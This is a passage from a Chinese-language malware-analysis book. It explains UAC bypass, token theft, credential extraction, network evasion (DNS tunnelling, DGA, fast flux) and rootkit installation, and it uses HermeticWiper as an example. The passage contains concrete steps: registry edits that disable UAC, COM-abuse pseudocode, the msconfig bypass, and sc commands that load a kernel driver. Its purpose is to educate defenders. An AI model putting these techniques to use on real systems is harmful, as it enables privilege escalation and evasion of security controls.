图 13-14 显示了 Process Hacker 中的一个摘录,它方便地根据进程的提升和完整性级别对进程进行高亮显示。

图 13-14:在 Process Hacker 中查看进程完整性
Process Hacker 本身(ProcessHacker.exe)以橙色(或本书中的深灰色)突出显示,表示它是提升过的并以高完整性模式运行。Explorer.exe以粉红色(中灰色)突出显示,标明它是一个系统进程。其他一些更为平凡的进程,如 Excel 和 Notepad,则以黄色(浅灰色)显示,表示它们是中等完整性进程,以标准用户权限运行。
UAC 旨在通过明确请求更高权限账户的许可来保护系统免受恶意权限提升的攻击。UAC 绕过攻击依赖于欺骗用户、应用程序或操作系统本身,使其在提升的上下文中执行潜在的危险操作。让我们通过一个简单的例子来看看 UAC 绕过是如何在实践中工作的。
一些内置的 Windows 工具被设计为以提升权限运行。其中一个工具是msconfig.exe,这是一个简单的 Windows 配置工具,允许系统管理员更改 Windows 启动选项、修改服务和启动任务等。通常,请求提升权限的应用程序会弹出 UAC 提示;默认情况下,即使是拥有管理员权限的用户也必须同意该提示。然而,如果从管理员账户执行,msconfig.exe会自动将自身提升为高完整性进程,而无需弹出 UAC 提示。此外,它还允许执行其他工具,这些工具也会在高完整性上下文中运行,同样不会出现 UAC 提示。不幸的是,msconfig.exe的这一行为可以被恶意利用,导致简单的 UAC 绕过。从msconfig.exe的工具菜单中,用户可以选择命令提示符工具并点击启动(参见图 13-15)。

图 13-15:从 msconfig.exe 启动命令提示符
接下来,将启动一个具有其父进程(msconfig.exe)完整性级别的新命令提示符,而不会提示 UAC 权限。图 13-16 显示了在 Process Hacker 中该新的cmd.exe进程。

图 13-16:具有高完整性级别的 cmd.exe 进程
请注意,该进程的权限已被提升(“Elevated: Yes”),且其完整性级别为高。用户通过执行必须在高完整性上下文中运行的进程(该进程在默认的 Windows 配置下不会提示 UAC 权限)来绕过了 UAC,并通过启动一个继承该进程高完整性级别的命令提示符。这个命令提示符现在以管理员身份运行,可以用来执行高权限命令。一个类似的真实案例来自恶意软件家族 Trickbot,它利用了WSReset.exe Windows 工具的自动提升特性;详情见 Arnold Osipov 的文章“Trickbot 木马利用新的 Windows 10 UAC 绕过”在此阅读。
这个特定的 UAC 绕过问题在于它需要访问系统的 GUI 界面,因此恶意软件必须经过多个步骤才能在不让受害者察觉的情况下执行这一攻击。然而,恶意软件作者已经发现了一些方法来绕过这一限制。
DLL 劫持
在第十二章中,您学到了恶意软件如何利用合法应用中的劫持漏洞来注入恶意 DLL 并隐秘地执行代码。这种攻击方式也是绕过 UAC 的有效手段。回顾之前使用的 msconfig.exe 示例,如果它成为 DLL 劫持的受害者,并允许恶意 DLL 替换合法 DLL 加载,那么该恶意 DLL 就可以在高权限的 msconfig.exe 应用程序上下文中执行。任何 UAC 弹窗将以 msconfig.exe 的名义出现,可能会欺骗用户同意并允许恶意代码以比正常情况下更高的权限级别运行。
在 2016 年 Fox-IT 和 NCC Group 发布的报告《Mofang:一场政治动机的信息窃取对抗者》(您可以在 https://
COM 滥用
组件对象模型 (COM) 是 Windows API 的一部分,允许进程间通信。COM 的基本构建块是 COM 对象,它由数据和控制访问的函数组成,这些函数被称为 接口。COM 对象服务器向 COM 客户端暴露接口,客户端通过这些接口访问 COM 服务器。COM 服务器对象通常是 .dll 或 .exe 文件。每个 COM 服务器对象都有一个唯一的 ID,称为类 ID (CLSID),它是一个 128 位的字符串,形式是由一系列数字和字符组成。这些字符串通常显示在括号中,例如:{4E5FC2F8-8C44-6776-0912-CB15617EBC13}。这一点稍后会很重要。
许多 COM 对象都有一个名为 COMAutoApproval 的属性,表示该 COM 对象不需要用户明确允许与对象相关的权限提升功能。在 Windows 系统中,您可以在注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList 中查看具有此属性的 COM 对象列表。图 13-17 显示了我系统上的这个列表。

图 13-17:启用 COMAutoApproval 的情况下查看 COM 对象
在典型的 Windows 10 系统中,这个列表中有超过 100 个对象!正如你可以想象的那样,其中一些对象可能会被恶意软件滥用,以绕过 UAC。例如,一些 COM 对象接口包含可以执行任意代码的函数。例如,一个 COM 接口可能暴露一个名为ExecuteCommand的函数,该函数接受任意命令作为输入。以下伪代码展示了这一点:
command = "cmd.exe copy malware.exe C:\System32\malware.exe"
CoInitialize(NULL);
comObj = CoCreateInstance (CLSID_VulnerableComObject, ..., ...,
IID_VulnerableComObject, &pMethod);
pMethod->ExecuteCommand(command);
该恶意软件初始化 COM(CoInitialize),并创建 COM 对象VulnerableComObject的 COM 实例(CoCreateInstance)。一旦 COM 对象初始化,恶意软件就会调用脆弱的ExecuteCommand方法(该方法通过 COM 对象暴露并导出),并将command作为参数传入。由于 COM 对象以高权限运行,随后的命令也将以高权限执行。这个特定的命令将恶意软件可执行文件复制到System32目录,这个操作通常会显示 UAC 提示。
这是该技术的简化版,但类似的技术已经在现实攻击中被使用过。一个经过深入研究的项目 UACME 详细介绍了该技术的变种及更多内容,网址是https://
注册表篡改
尽管修改注册表通常需要对受害者系统拥有高权限,但恶意软件可以利用注册表绕过 UAC 提示本身。考虑一种情境,攻击者控制了受感染的主机并能够执行命令,但没有图形界面。攻击者可能仍然需要点击 UAC 提示才能执行某些操作,而没有图形界面的情况下,这会造成问题。
在这种情况下,恶意软件可以尝试修改注册表项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA,将其从默认值1修改为0,这将有效地禁用主机上的 UAC 提示。将键值HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin设置为0,也将禁用管理员操作的 UAC 提示。
请注意,机器可能需要重新启动才能使这些更改生效,这可能对攻击者造成问题并引起不必要的关注。
模拟和操控访问令牌
系统上运行的每个进程都有一个从其父进程继承的访问令牌,而父进程的访问令牌又是从启动它的用户帐户继承的。这个用户帐户访问令牌代表了用户帐户的权利和权限。进程访问令牌可以分配不同的权限:例如,SeBackupPrivilege 赋予用户或进程备份文件和目录的能力;SeLoadDriverPrivilege 赋予进程加载内核驱动程序的能力;而 SeShutdownPrivilege 允许进程关闭系统。
为了获得额外的权限,恶意软件可以复制另一个进程的令牌,这种技术通常被称为 令牌窃取 或 令牌冒充。恶意软件调用 DuplicateToken 或 DuplicateTokenEx 来创建一个从另一个进程分配来的令牌副本,然后调用 ImpersonateLoggedOnUser,将复制的令牌作为参数传递。这将把原始令牌的权限赋给恶意软件。恶意软件还可以调用 CreateProcessWithToken 来生成一个全新的进程,并赋予它复制令牌的权限。
注意
或者,恶意软件可以操控其自身的令牌并赋予它新的权限。恶意软件可能试图获得的一个重要权限是 SeDebugPrivilege,该权限允许进程检查和操控其他用户帐户拥有的进程,包括系统帐户。如果一个低权限进程被允许操控系统进程,它可能会在这些进程的上下文中注入并执行代码,从而完全绕过 UAC 控制,或者至少通过 UAC 欺骗用户允许提升的操作。
为了获得 SeDebugPrivilege 权限,恶意软件调用 OpenProcessToken 函数来打开其进程的访问令牌,然后调用 AdjustTokenPrivileges,将 SeDebugPrivilege 作为参数传递。然而,仅仅因为一个进程请求了这个特权并不意味着操作系统会授予它。只有之前已经提升权限的进程才能请求并被授予该权限,因此恶意软件必须已经在提升状态下运行。恶意软件通常会使用本章前面提到的 UAC 绕过技术之一来提升自己的权限,然后授予自己 SeDebugPrivilege,以进一步访问其他系统进程。
提取并重用凭证
定位和提取账户凭证可以是一种强有力的特权提升方法。例如,如果恶意软件能够找到管理员的凭证,它可能会重新使用这些凭证创建一个具有提升权限的进程,甚至可以横向移动到网络中的其他主机并在这些系统上获得提升的权限。恶意软件有许多方法可以做到这一点。
提取凭证的一种方法是检查 本地安全授权子系统服务(LSASS) 进程的内存,该进程负责安全策略和身份验证。从本质上讲,它的进程 (lsass.exe) 在其内存地址空间中包含敏感数据——即登录凭证和安全令牌。在现代版本的 Windows 中,这些敏感数据会被混淆(例如,通过哈希处理),但在特殊情况下,数据可能是明文的。通过检查 lsass.exe 的进程内存,恶意软件可能能够定位并提取特权凭证和令牌,然后尝试重用它们来提升自身权限。
有一些工具可以自动化这个过程。一个众所周知的例子是 Mimikatz(https://
另一种提取凭证的方法是 键盘记录,即通过捕获受害者的按键来获得各种账户和服务的登录凭证。键盘记录通常通过不同形式的钩子实现,如 第十二章所述。
利用漏洞提升特权
最后,一些恶意软件可能会尝试利用漏洞来提升其权限。本地权限提升(LPE)漏洞允许恶意软件在已获得低权限访问的系统上提升其权限,这在威胁行为者中尤其受欢迎。一个较为近期的典型漏洞是 CVE-2021-36934(见 https://
图 13-18 展示了这个漏洞攻击的实例。(漏洞代码可以在 https://

图 13-18:HiveNightmare 漏洞攻击实例
这个漏洞代码将提取的注册表配置单元文件转储到当前工作目录。通过快速列出目录内容,可以看到漏洞攻击已经成功(见 图 13-19)。

图 13-19:HiveNightmare 漏洞攻击成功!
这个攻击从捕获的截图来看可能并不起眼,但它非常强大。作为一个非特权用户,我能够直接从 VSS 中提取敏感的注册表配置单元,这些配置单元通常对我不可用;如果我愿意,我还可以查询它们,提取存储的凭据,然后利用这些凭据在更高权限级别执行代码。这只是一个漏洞的例子(也是一个凭据提取的好例子),但过去五年里,已经发布了许多特权提升漏洞;其中一些漏洞引起了广泛关注,还有一些正被恶意软件在实际环境中滥用。不幸的是,可能还有更多类似的漏洞目前尚未为公众所知。
现在,我们已经看过了一些恶意软件可能绕过终端防御的方法,让我们将注意力转向它如何绕过网络防御控制。
绕过网络防御
网络控制是恶意软件必须绕过的另一个防御层,才能成功实现其目的。绕过网络防御依赖于你在前几章中已经见过的许多战术。例如,恶意软件可以利用加密等混淆技术来掩盖其 C2 流量。它还可以利用沙箱规避技术,绕过依赖沙箱化可疑文件的网络防御。在本节中,我将重点介绍书中尚未涵盖的绕过技术。不过,在我们开始之前,我会简要介绍一些可用的各种网络防御措施。
引入现代网络防御
与主机防御类似,网络防御市场充斥着各种产品名称和缩写。从根本上说,现代网络防御只有几种不同的类型。我将在本章重点介绍 NIDS、NDR 和电子邮件保护:
网络入侵检测系统(NIDS)
这些产品监控进出站的网络流量,寻找恶意活动的迹象。与反恶意软件类似,NIDS 可以是基于签名的、基于异常的,或两者的结合。基于签名的 NIDS 技术会在网络流量中搜索可疑的签名模式,例如数据、代码或字符串的序列。基于异常的技术则更多地关注网络流量的行为模式,并可能利用机器学习技术。NIDS 也可以是入侵预防系统(IPS),不仅能检测攻击,还能响应并阻止攻击。NIDS 和 IPS 通常包含在现代实施的传统网络防御中,如防火墙。
网络检测与响应(NDR)
这是网络版的 EDR。NDR 比 NIDS 更现代,是在某些方面试图取代 NIDS 的解决方案。NDR 通过实时的网络流量分析来识别潜在攻击,检测通过网络传播的威胁(例如恶意软件),并能因可疑行为而触发警报。NDR 与基于主机的 EDR 的遥测数据可以结合,形成扩展检测与响应(XDR),使分析人员和调查员能够跨网络和端点层追踪攻击。
电子邮件保护技术
这些解决方案正在变得越来越广泛使用和必要,它们位于组织的电子邮件网关,监控和检查进出站的电子邮件流量。这是一个至关重要的控制措施,因为许多进入的电子邮件都携带恶意附件或 URL。电子邮件保护套件扫描并沙箱化进站(有时也包括出站)邮件,然后对恶意邮件发出警报(或直接删除)。由于这项技术部分依赖于沙箱化,它可能会受到之前讨论的反沙箱技术的阻碍。
现在,我们将开始探讨恶意软件可能尝试绕过这些控制措施的方式。
混淆和掩盖网络流量
为了绕过 NIDS 和 NDR,现代恶意软件必须采用混淆或加密技术来掩盖其网络流量。有些恶意软件可能会尝试在下载附加负载或模块时,通过使用加密网络协议(如 HTTPS、安全文件传输协议(SFTP)或安全外壳(SSH))来隐藏自己免受网络防御的监控。恶意软件甚至已经被发现利用加密的监控保护软件 Tor 来掩盖其网络活动。恶意软件家族 Bashlite(也称为 Gafgyt)在与其 C2 基础设施通信时曾使用过这种技术。请记住,使用 Tor 和其他不常用协议和服务的行为本身就可能成为恶意活动的迹象。尽管这种技术可能确实可以阻止网络防御和调查人员检查可疑的流量,但这并不意味着恶意软件会完全不被发现。
这种策略的另一个例子是DNS 隧道,它利用域名系统(DNS)协议来隐藏流量,比如文件下载、数据从网络中泄漏或 C2 通信。由于 DNS 是互联网运行的基础协议,DNS 隧道可能完全不会被网络监控和防御发现。图 13-20 展示了 DNS 隧道的表现形式。

图 13-20:DNS 隧道
我们从感染的主机开始,这台主机上隐藏着一个远程访问木马(RAT)。这个 RAT 与其 C2 服务器(evil.com)进行通信,并需要通过 DNS 隧道接收特定的指令。它向其 C2 服务器(36128.evil.com)发送一个 DNS 查询。36128子域是一个随机生成的数字字符串。接下来,DNS 请求被发送到一个递归 DNS 服务器,这是一个提供 DNS 请求服务的本地服务器。这个递归 DNS 服务器可能是一个互联网服务提供商(适用于家庭用户和小型企业),或者是感染主机所在组织内部的服务器。
递归 DNS 服务器随后会联系一个权威 DNS 服务器,它是域名的权威源。当一个新网站从托管服务商处获得时,提供商会作为该域名的权威 DNS 服务器。或者,任何人都可以为他们购买的域名建立自己的权威 DNS 服务器。在这种情况下,感染主机上的 RAT 最终联系的是evil.com域名的权威 DNS 服务器,而恶意软件作者拥有该域名的权威 DNS 服务器。
一旦 C2 服务器收到 DNS 请求,它会向发送者返回响应。然而,在这种情况下,响应中包含了一个编码的命令——简单字符串execute。这个命令可以通过简单的算法(如 Base64 编码)或甚至加密进行混淆,可以隐藏在 DNS 响应中的某个记录里。常被滥用进行 DNS 隧道的记录类型包括 TXT、CNAME、资源记录(RR)和 NULL 记录。(这些超出了本书的范围,不会进一步讨论。)
一旦感染的主机接收到 DNS 响应,RAT 解码嵌入的字符串并处理命令execute。可以推测,这意味着 RAT 将执行一个恶意命令。DNS 默认情况下是不加密的,但由于它的广泛使用,而且可能难以完全监控,这种类型的攻击可能会避开网络防御系统。
恶意软件还已知使用自定义的 C2 框架,采用新颖的网络通信方式。这些框架可能利用公开访问的服务,如 GitHub、Pastebin、Telegram,甚至 X,来隐藏流量和命令。这些流量不仅通常是加密的,而且由于看起来正常,可能完全未被察觉。一个例子是,ESET 的研究人员发现威胁组织 Turla 滥用了布兰妮·斯皮尔斯的 Instagram 账户来隐藏其 C2 服务器(参见文章“Carbon Paper: Peering into Turla’s Second Stage Backdoor”在https://
攻击者也可能将其恶意软件载荷托管在知名的文件共享网站上,如 Google Drive 和 Dropbox。由于这些服务广泛用于合法目的,恶意软件从 Google Drive 等站点下载载荷或附加模块时,可能对普通观察者和网络防御系统看起来完全正常。
通过地理围栏隐藏基础设施
地理围栏(Geofencing)指的是利用地理位置作为确定恶意软件行为的因素。实际上,恶意软件被设计为仅在目标主机位于特定地理边界内时才执行其有效负载,例如某个特定国家。地理围栏还可以用于阻止和防止恶意软件扫描引擎和分析人员识别和调查恶意服务器。例如,在电子邮件保护解决方案中,当恶意附件在沙箱中被引爆时,沙箱可能会识别出恶意软件正在尝试与互联网上的未知域名进行通信。沙箱随后可能会尝试“扫描”或探测该服务器,以试图识别其真实性质,并将其分类为合法或恶意。
恶意服务器可以使用地理围栏技术来防止这种行为。通过查询系统或调查员探测其基础设施的位置,服务器可以将自己隐藏起来,避免被不请自来的访客发现。例如,一位位于中国的恶意软件作者可能专门针对德国的受害者。任何不是来自德国 IP 地址的流量都可以被阻止,从而防止没有德国 IP 地址的自动扫描引擎或调查人员进一步检查它。或者,服务器甚至可以向非德国 IP 地址的系统显示误导性信息。例如,来自非德国 IP 的任何流量可能会被重定向到一个完全不同的、无害的网站。类似的技术被 Proofpoint 的研究人员发现,他们揭示了威胁团体 TA547 利用地理围栏技术仅向特定目标提供恶意软件有效负载(请参见文章“第一步:初步访问导致勒索软件” https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware)。有效负载被托管在服务器上,只有来自特定国家的受害者才能访问并下载恶意软件有效负载。
使用 DGA 生成新基础设施
恶意软件作者面临的一个主要问题是,一旦 C2 服务器被沙箱、调查员或防御软件识别出来,它就会被“烧掉”,意味着它很快会被大多数安全产品列入黑名单。这使得与该服务器通信的恶意软件变得无效。
恶意软件可以通过动态生成新的 C2 服务器地址来绕过这个问题,这一过程使用域名生成算法(DGA),该算法包含客户端和服务器端组件。在这个例子中,恶意软件(客户端)使用内嵌的 DGA 代码生成新的域名。恶意软件的 C2 服务器使用相同的算法生成与恶意软件客户端生成的域名相同的新域名。DGA 的工作原理是,客户端和服务器端的算法都生成可预测的域名。该算法必须确保客户端和服务器端生成相同的域名,但同时必须足够不可预测,以至于安全研究人员和分析工具无法猜测将生成的下一个域名。
图 13-21 展示了恶意软件如何使用 DGA。

图 13-21:DGA 的工作原理
恶意软件首先通过其可执行文件中嵌入的 DGA 代码生成一个新的域名。执行算法后,恶意软件生成域名evil-01.tk,在恶意软件的 C2 基础设施上,同样的算法运行并生成相同的evil-01.tk ❶。然后,恶意软件作者配置一个新服务器,使用地址evil-01.tk ❷。接着,恶意软件使用这个现在已上线的域名连接到 C2 服务器 ❸。
在预定的时间段后,例如八小时,恶意软件会生成一个新的域名,evil-02.cn ❹。接着,服务器生成相同的域名,并进行配置 ❺。最后,恶意软件连接到该域名 ❻。此时,第一个服务器(evil-01.tk)可能已经下线。这个循环会不断重复,直到算法用尽可用的域名。这种强大的 DGA 技术使得恶意软件作者可以生成数百或数千个新的域名作为 C2 服务器,使得安全产品和调查人员在识别并将这些域名加入黑名单时,像玩“打地鼠”一样充满挑战。
执行快速变换技术
快速变换是一种主要由僵尸网络使用的规避技术,僵尸网络是由攻击者控制的感染系统网络。当受害者被某种特定的恶意软件变种感染时,感染的主机(即机器人)会被加入到僵尸网络中。攻击者利用僵尸网络进行各种目的,例如发送垃圾邮件、进行钓鱼和分布式拒绝服务(DDoS)攻击,以及实施各种类型的欺诈行为。快速变换技术使得攻击者能够利用其机器人作为代理,隐藏和保护 C2 服务器及其他基础设施。
为了执行这一技术,威胁行为者购买一个域名,然后迅速更改与该域名关联的 IP 地址,这样每次受害者访问时,他们会被引导到不同的托管 IP 地址。IP 地址的快速变化是采用轮询方式配置的,这是一种平衡客户端请求到 Web 服务器的合法技术。通过将 IP 地址的生存时间(TTL)值缩短到几分钟甚至更少,威胁行为者创造了一个更加难以捉摸的基础设施,使得网络防御更难识别和阻止恶意流量,也使得执法机构和其他调查人员更难识别其完整的基础设施。图 13-22 展示了快速变换技术在实践中的表现。

图 13-22:在僵尸网络中实施的快速变换技术
首先,受害者在其计算机上执行恶意软件,恶意软件想要与威胁行为者的域名 evil.com 建立 HTTP 连接。然而,在此之前,evil.com 必须解析为一个 IP 地址。受害者发起一个 DNS 请求 ❶,evil.com 被解析(通过恶意软件作者控制的权威 DNS 服务器)为 IP 地址 59.111.180.193 ❷。接下来,恶意软件向 IP 地址 59.111.180.193 发起 HTTP 请求 ❸,该地址属于一个僵尸网络并分配给 Bot 1。作为代理,Bot 1 将 HTTP 请求重定向到威胁行为者的恶意软件传输服务器 ❹,该服务器随后向受害者发送恶意软件负载 ❺。
几分钟后,一个新的受害者(感染了相同的恶意软件)像第一个受害者一样,向 evil.com 发起 DNS 和 HTTP 请求。然而,这一次,DNS 服务器返回了 97.66.36.178 作为 IP 地址(因为威胁行为者已经更改了该域名关联的 IP 地址)。这个 IP 映射到 Bot 2,Bot 2 同样充当代理,将 HTTP 请求重定向到恶意软件临时服务器,并向第二个受害者发送负载。由于 IP 地址变化非常频繁并且分布在僵尸网络中(这可能是由成千上万的系统组成的蜘蛛网),因此很难追踪攻击者的基础设施,以便识别僵尸网络中的其他系统以及攻击者的恶意软件分发和 C2 服务器。
快速变换不仅仅用于僵尸网络;它还被防御力强的主机商(BPHs)使用,这些是专门为不太讲究的网络活动(如在线赌博和垃圾邮件)或非法活动(如有组织犯罪)提供服务的 Web 主机提供商。通常,BPHs 位于那些这类活动不受到严格审查的国家(因此不会被注意到或被容忍),并且执法机构的恶意基础设施删除请求不被接受。BPHs 可能为网络犯罪团伙和其他人提供快速变换服务。
还有一种相关技术,叫做双重快速变更,不仅恶意域名的 IP 地址会迅速变化,攻击者的授权 DNS 服务器的 IP 地址也会发生变化。这为研究人员和网络防御增加了额外的防护层和复杂性。
我们在本章中讨论的技术很少能够单独有效。现代基于恶意软件的攻击通常会结合多种技术来渗透目标,接下来你将看到这一点。
多阶段和复杂攻击
如本章前面提到的,一些现代防御措施,如 EDR,使用威胁评分系统或其他分析技术来识别可疑行为。在恶意软件的早期阶段,恶意软件通常以单个恶意文件的形式交付。这个文件包含了感染受害者所需的所有功能,并执行恶意软件作者计划的进一步动作。然而,要成功绕过现代的端点和网络防御,恶意软件作者必须采取更复杂的多阶段方法。精心设计的多步骤复杂攻击链使防御更难识别正在发生的事情并采取适当的行动。图 13-23 展示了这样的攻击。

图 13-23:复杂的多阶段攻击
首先,恶意软件作者将恶意文档文件交给受害者。一旦打开,文件执行嵌入的 JavaScript 代码,进而执行混淆的 PowerShell 代码。PowerShell 代码联系攻击者的恶意软件暂存服务器下载一个加载程序(Loader.exe),该程序负责联系另一个远程服务器下载恶意软件负载(Payload.exe)。
跟踪这些分散的事件对于防御来说更具挑战性。EDR 的事件追踪引擎和分析器必须评估来自多个来源的许多不同事件,而不是仅评估单个可执行文件的行为,才能判断这是否是恶意活动。为了进一步复杂化这个攻击,恶意软件作者可能会通过睡眠例程来增加难度。例如,PowerShell 命令可能在下载加载程序可执行文件之前等待两个小时,加载程序可能在下载负载文件之前等待四小时,然后负载文件可能在联系 C2 服务器之前等待另一个八小时。事件追踪引擎必须考虑事件之间多个小时的时间差异。
然而,从攻击者的角度来看,这些多阶段攻击存在一个缺点:如果攻击的任何一个阶段失败,整个攻击链就会失败。例如,如果反恶意软件能够检测并隔离最初的恶意 Office 文档,那么攻击链的其余部分将会失败。如果网络防御能够识别并阻止与攻击者的恶意软件部署服务器的连接,也会发生同样的情况。然而,这是恶意软件作者必须冒的风险。
总结
本章讨论了恶意软件常用的多种技术,如何主动和被动地绕过主机防御控制,例如反恶意软件和 EDR,以及基于网络的控制,如 NIDS。我们详细分析了恶意软件如何枚举受害主机以识别主机防御,并如何主动破坏这些防御。我们还介绍了恶意软件如何提升其权限,使其能更隐秘地绕过防御。在下一章中,你将学习关于 Rootkit 的内容,这是一种低级别的恶意软件,它使用的技术可能被视为防御规避的终极形式。
第十五章:14 ROOTKIT 介绍

Rootkit 是一种恶意软件变种,通过首先获得受害系统的低级访问权限,专门隐藏自己在主机上的存在。Rootkit 这个名称源自 Unix 系统,其中 root 用户拥有系统允许的最高权限。Rootkit 使用多种规避方法,例如拦截和修改内核与用户空间之间的通信,直接篡改内核内存中的数据结构,以躲避终端防御和调查工具。
本章提供了基于内核的 rootkit 及其规避防御和操控系统的一些技术的简介。虽然本章不是 rootkit 或 rootkit 分析的详尽资源,但它涵盖了在调查低级恶意软件时需要警惕的一些战术。
Rootkit 基础
恶意软件作者使用 rootkit 组件的原因有很多:
持久性和生存能力
由于 rootkit 存在于内核空间并具有低级系统访问权限,它们在重启后以及在强大的、防御良好的环境中依然能保持存在。Bootkit 是一种更先进的 rootkit 形式,稍后我们将在本章讨论,它驻留在固件层,因此具有更强的持久性。
防御规避
一些 rootkit 会积极篡改并盲目绕过终端防御措施,例如 EDR 和反恶意软件。这类 rootkit 还可以通过重定向函数调用等方式,隐藏和保护其文件和进程,避免调查人员发现。
对设备和驱动程序的低级访问
一些 rootkit 拦截与内核驱动程序和硬件之间的请求和命令。例如,Moriya 就是其中之一(请参阅 2021 年 5 月的文章“Operation TunnelSnake” https://
由于 rootkit 存在于内核空间,并通过操控内核元素工作,在讨论 rootkit 如何利用这些元素之前,我们先来更详细地了解这些组件是什么。
内核模块和驱动程序
内核模块 是包含代码和数据的二进制文件,用于扩展内核的功能。它们可以在系统启动时或按需加载。内核驱动程序 是一种特定类型的内核模块,与系统硬件进行交互。内核驱动程序有不同的类型:
设备驱动程序
也许是最常见的内核驱动程序类型,设备驱动程序为 Windows 与系统底层硬件设备之间提供接口,例如键盘、鼠标和打印机。它们直接或间接地与系统硬件进行交互。
过滤驱动程序
正如它们的名字所示,过滤驱动程序“过滤”目标为其他驱动程序的 IO 通信,拦截并可能修改它。这些驱动程序为其他驱动程序或整个系统添加功能,同时还启用日志记录和监控等能力。一些恶意行为者将过滤驱动程序加载到内核中,以利用这些功能,正如你稍后将看到的那样。
迷你过滤驱动程序
类似于过滤驱动程序,迷你过滤驱动程序用于过滤 IO 操作,并且在 Windows 的较新版本中被引入,以提高性能并简化开发和兼容性。这些驱动程序也可能被恶意行为者滥用。
注意
尽管所有内核驱动程序都是模块,但并非所有内核模块都是驱动程序。不过,为了简便起见,本章中我将模块和驱动程序这两个术语交替使用。
你可以使用类似 Process Manager 的工具,如 Process Hacker,查看 Windows 中加载的内核模块,如图 14-1 所示。

图 14-1:在 Process Hacker 中查看加载的内核模块
要查看 Process Hacker 中加载的内核模块,右键单击系统进程,选择属性,然后选择模块选项卡。在图 14-1 中,你可以看到我系统上安装的一些内核驱动程序,如高级配置和电源接口(ACPI)驱动程序,以及显示驱动程序,例如 VGA 启动驱动程序。
现在你已经对内核驱动程序有了基本了解,接下来我们将深入探讨恶意内核驱动程序的结构,它们通常被称为 Rootkit。
Rootkit 组件
Rootkit 通常有两个组件:一个运行在用户空间的进程和一个从该进程接收指令的内核驱动程序。Rootkit 几乎总是从一个必须在受害主机上部署并执行的用户空间可执行文件开始。一旦完成部署,恶意进程会将一个驱动程序加载到内核空间中。图 14-2 展示了一个简单的、概览式的 Rootkit 安装方式。

图 14-2:Rootkit 安装过程
首先,受害者会收到一个投放器可执行文件(malware.exe),该文件一旦执行,会解密一个嵌入的恶意内核驱动程序(rootkit.sys)。该投放器将该驱动程序配置并作为服务执行,从而完成 Rootkit 在内核空间中的安装。(我们稍后会详细讨论这一过程。)用户空间进程代码包含了大部分恶意软件的主要功能,而内核组件则负责在系统中掩盖和保护用户空间进程,建立低级钩子以隐藏内存和磁盘中的痕迹,并使端点防御和调查人员无法察觉其存在。
图 14-3 展示了新安装的 Rootkit 的一些功能。

图 14-3:Rootkit 的基本功能
该 Rootkit 能够隐藏其用户空间的可执行文件(malware.exe),并向其内核驱动程序(rootkit.sys)发出指令 ❶。Rootkit 的用户空间组件通常通过发送请求,利用 WinAPI 函数如DeviceIOControl与内核空间的对应部分进行通信,该函数允许用户空间进程向内核空间驱动程序发送控制码(指令)。此外,该 Rootkit 能够挂钩并拦截来自用户空间的 API 调用 ❷,拦截其他内核组件与设备驱动程序之间的通信 ❸,甚至直接篡改内核内存 ❹。随着本章的进展,这些技术将变得更加清晰。但首先,让我们回顾一下 Rootkit 是如何最初被安装的。
Rootkit 安装
过去,Rootkit 的普遍性较高,但微软在后来的 Windows 版本中实施了保护措施,使得实施必要的更改以安装恶意内核组件变得更加困难。尽管如此,仍然存在绕过这些保护措施的方法,因此这类攻击有时仍然发生。让我们来看一个最近的实际案例:HermeticWiper。
HermeticWiper 在 2022 年针对乌克兰的受害者发起攻击。它本身并不是一个 Rootkit;而是一种破坏性恶意软件,需要低级别的访问权限以覆盖磁盘上的数据,使系统无法启动。然而,由于 HermeticWiper 使用了常见的加载内核驱动程序的方法,并且有很好的文献记录,它是一个很好的例子,展示了 Rootkit 如何被安装到受害环境中。
一个特定的 HermeticWiper 样本是由从合法公司 Hermetica Digital Ltd. 偷来的证书签名的,这可能使 HermeticWiper 绕过某些终端防御。(此技术在第十三章中讨论过。)当 HermeticWiper 首次执行时,该样本将写入一个新的 .sys 文件,文件名由四个字符组成(例如 bpdr.sys)并写入磁盘。此文件是 EaseUS 公司的一款合法驱动程序,通常用于调整和分区磁盘;然而,它也可以被滥用,正如我们稍后将看到的那样。由于在攻击时,该文件由有效证书签名,因此能够绕过 Windows 的驱动程序签名强制保护。
接下来,为了获得加载驱动程序所需的特殊权限,HermeticWiper 尝试获取 SeLoadDriverPrivilege。此权限只能由已在高权限级别运行的进程获取,因此大多数恶意软件需要使用特权提升技术(如绕过 UAC)来获得管理员或系统级权限,然后调用诸如 AdjustTokenPrivileges 的函数(如第十三章所讨论)。一旦获得所需的权限,HermeticWiper 就通过调用 CreateServiceW 创建一个新服务,并通过调用 StartServiceW 启动它。创建和执行服务是加载新内核驱动程序的最常见方法之一,既可以用于合法目的,也可以用于恶意目的。它还可以通过 Windows 命令行实现,如下所示:
C:\> sc create "evil" binPath="C:\Users\Public\evil.sys" type=kernel
此命令创建了一个新服务(evil),并指定了一个输入参数 C:\Users\Public\evil.sys(要加载的恶意驱动程序的路径)以及类型 kernel,表示该服务为内核驱动程序安装。随后,可以使用以下命令启动该服务:
C:\> sc start "evil"
以下是在 Windows 中执行这些命令的输出:
C:\Windows\system32> sc create "evil" binPath="C:\Users\Public\evil.sys" type=kernel
[SC] CreateService SUCCESS
C:\Windows\system32> sc start "evil"
SERVICE_NAME: evil
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
`--snip--`
WIN32_EXIT_CODE : 0 (0x0)
`--snip--`
对于 HermeticWiper,由于驱动程序(至少在攻击时)是合法的,并且已由有效的授权机构签名,它可能不会在内核空间安装时遇到任何问题,且能够绕过内置的 Windows 控制。如果驱动程序未由有效的签名授权机构签名,我们将在启动服务时收到以下错误:
C:\Windows\system32> sc start "evil"
[SC] StartService FAILED 1275:
This driver has been blocked from loading
一旦恶意服务成功安装,Windows 服务控制器接管并将驱动程序加载到内核地址空间。恶意软件的用户空间组件现在可以通过调用 DeviceIOControl 与内核空间中的恶意驱动程序进行交互,并向其发出命令。通过这种方式,HermeticWiper 使用一个本应合法的驱动程序(EaseUS 驱动程序)向磁盘写入数据,破坏这些数据并使受感染的系统无法操作。
注意
内核驱动并不总是通过服务加载。还有其他加载它们的技术,包括调用 NT API 函数 NtLoadDriver。
对合法驱动程序的这种滥用是一种自带易受攻击驱动程序技术的形式,接下来我们将讨论这一技术。
BYOVD 攻击
